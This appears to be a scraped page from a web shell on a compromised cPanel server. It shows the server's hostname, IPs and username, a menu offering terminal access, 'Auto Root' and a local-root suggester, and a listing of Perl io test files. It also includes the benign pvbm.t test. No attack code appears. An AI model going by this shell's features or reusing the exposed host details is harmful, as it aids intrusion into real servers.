Linux cpanel2.daytoncreative.net 2.6.32-754.29.2.el6.x86_64 #1 SMP Tue May 12 17:39:04 UTC 2020 x86_64
Apache/2.4.43 (cPanel) OpenSSL/1.1.1g mod_bwlimited/1.4
Server IP : 70.62.220.67 & Your IP : 216.73.216.193
Domains :
Cant Read [ /etc/named.conf ]
User : michaelgreg
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
log /
perl-5.20.2 /
t /
io /
Delete
Unzip
Name
Size
Permission
Date
Action
argv.t
3.92
KB
-r--r--r--
2014-12-27 11:49
binmode.t
1.02
KB
-r--r--r--
2014-12-27 11:49
bom.t
329
B
-r--r--r--
2014-12-27 11:49
closepid.t
1.26
KB
-r--r--r--
2014-12-27 11:49
crlf.t
2.45
KB
-r--r--r--
2014-12-27 11:49
crlf_through.t
152
B
-r--r--r--
2014-12-27 11:49
data.t
1.5
KB
-r--r--r--
2014-12-27 11:49
defout.t
1.09
KB
-r--r--r--
2014-12-27 11:49
dup.t
3.09
KB
-r--r--r--
2014-12-27 11:49
eintr.t
3.65
KB
-r--r--r--
2015-01-12 20:14
eintr_print.t
2.48
KB
-r--r--r--
2014-12-27 11:49
errno.t
1.12
KB
-r--r--r--
2014-12-27 11:49
errnosig.t
746
B
-r--r--r--
2014-12-27 11:49
fflush.t
3.25
KB
-r--r--r--
2014-12-27 11:49
fs.t
12.97
KB
-r--r--r--
2014-12-27 11:49
inplace.t
1.83
KB
-r--r--r--
2014-12-27 11:49
iofile.t
644
B
-r--r--r--
2014-12-27 11:49
iprefix.t
707
B
-r--r--r--
2014-12-27 11:49
layers.t
6.37
KB
-r--r--r--
2014-12-27 11:49
nargv.t
1.16
KB
-r--r--r--
2014-12-27 11:49
open.t
14.56
KB
-r--r--r--
2014-12-27 11:49
openpid.t
2.39
KB
-r--r--r--
2014-12-27 11:49
perlio.t
5.73
KB
-r--r--r--
2014-12-27 11:49
perlio_fail.t
1.06
KB
-r--r--r--
2014-12-27 11:49
perlio_leaks.t
675
B
-r--r--r--
2014-12-27 11:49
perlio_open.t
756
B
-r--r--r--
2014-12-27 11:49
pipe.t
5.9
KB
-r--r--r--
2014-12-27 11:49
print.t
1.41
KB
-r--r--r--
2014-12-27 11:49
pvbm.t
2.39
KB
-r--r--r--
2014-12-27 11:49
read.t
523
B
-r--r--r--
2014-12-27 11:49
say.t
1.05
KB
-r--r--r--
2014-12-27 11:49
sem.t
1.78
KB
-r--r--r--
2014-12-27 11:49
shm.t
2.56
KB
-r--r--r--
2014-12-27 11:49
socket.t
3.51
KB
-r--r--r--
2014-12-27 11:49
tell.t
4.94
KB
-r--r--r--
2014-12-27 11:49
through.t
4.52
KB
-r--r--r--
2014-12-27 11:49
utf8.t
9.28
KB
-r--r--r--
2014-12-27 11:49
Save
Rename
#!./perl # Test that various IO functions don't try to treat PVBMs as # filehandles. Most of these will segfault perl if they fail. BEGIN { chdir 't' if -d 't'; @INC = qw(. ../lib); require "./test.pl"; } BEGIN { $| = 1 } plan(28); sub PVBM () { 'foo' } { my $dummy = index 'foo', PVBM } { my $which; { package Tie; sub TIEHANDLE { $which = 'TIEHANDLE' } sub TIESCALAR { $which = 'TIESCALAR' } } my $pvbm = PVBM; tie $pvbm, 'Tie'; is ($which, 'TIESCALAR', 'PVBM gets TIESCALAR'); } { my $pvbm = PVBM; ok (scalar eval { untie $pvbm; 1 }, 'untie(PVBM) doesn\'t segfault'); ok (scalar eval { tied $pvbm; 1 }, 'tied(PVBM) doesn\'t segfault'); } { my $pvbm = PVBM; ok (scalar eval { pipe $pvbm, PIPE; }, 'pipe(PVBM, ) succeeds'); close foo; close PIPE; ok (scalar eval { pipe PIPE, $pvbm; }, 'pipe(, PVBM) succeeds'); close foo; close PIPE; ok (!eval { pipe \$pvbm, PIPE; }, 'pipe(PVBM ref, ) fails'); ok (!eval { pipe PIPE, \$pvbm; }, 'pipe(, PVBM ref) fails'); ok (!eval { truncate $pvbm, 0 }, 'truncate(PVBM) fails'); ok (!eval { truncate \$pvbm, 0}, 'truncate(PVBM ref) fails'); ok (!eval { stat $pvbm }, 'stat(PVBM) fails'); ok (!eval { stat \$pvbm }, 'stat(PVBM ref) fails'); ok (!eval { lstat $pvbm }, 'lstat(PVBM) fails'); ok (!eval { lstat \$pvbm }, 'lstat(PVBM ref) fails'); ok (!eval { chdir $pvbm }, 'chdir(PVBM) fails'); ok (!eval { chdir \$pvbm }, 'chdir(pvbm ref) fails'); ok (!eval { close $pvbm }, 'close(PVBM) fails'); ok (!eval { close $pvbm }, 'close(PVBM ref) fails'); ok (!eval { chmod 0600, $pvbm }, 'chmod(PVBM) fails'); ok (!eval { chmod 0600, \$pvbm }, 'chmod(PVBM ref) fails'); SKIP: { skip('chown() not implemented on Win32', 2) if $^O eq 'MSWin32'; ok (!eval { chown 0, 0, $pvbm }, 'chown(PVBM) fails'); ok (!eval { chown 0, 0, \$pvbm }, 'chown(PVBM ref) fails'); } ok (!eval { utime 0, 0, $pvbm }, 'utime(PVBM) fails'); ok (!eval { utime 0, 0, \$pvbm }, 'utime(PVBM ref) fails'); ok (!eval { <$pvbm> }, '<PVBM> fails'); ok (!eval { readline $pvbm }, 'readline(PVBM) fails'); ok (!eval { readline \$pvbm }, 'readline(PVBM ref) fails'); ok (!eval { open $pvbm, '<', 'none.such' }, 'open(PVBM) fails'); ok (!eval { open \$pvbm, '<', 'none.such', }, 'open(PVBM ref) fails'); }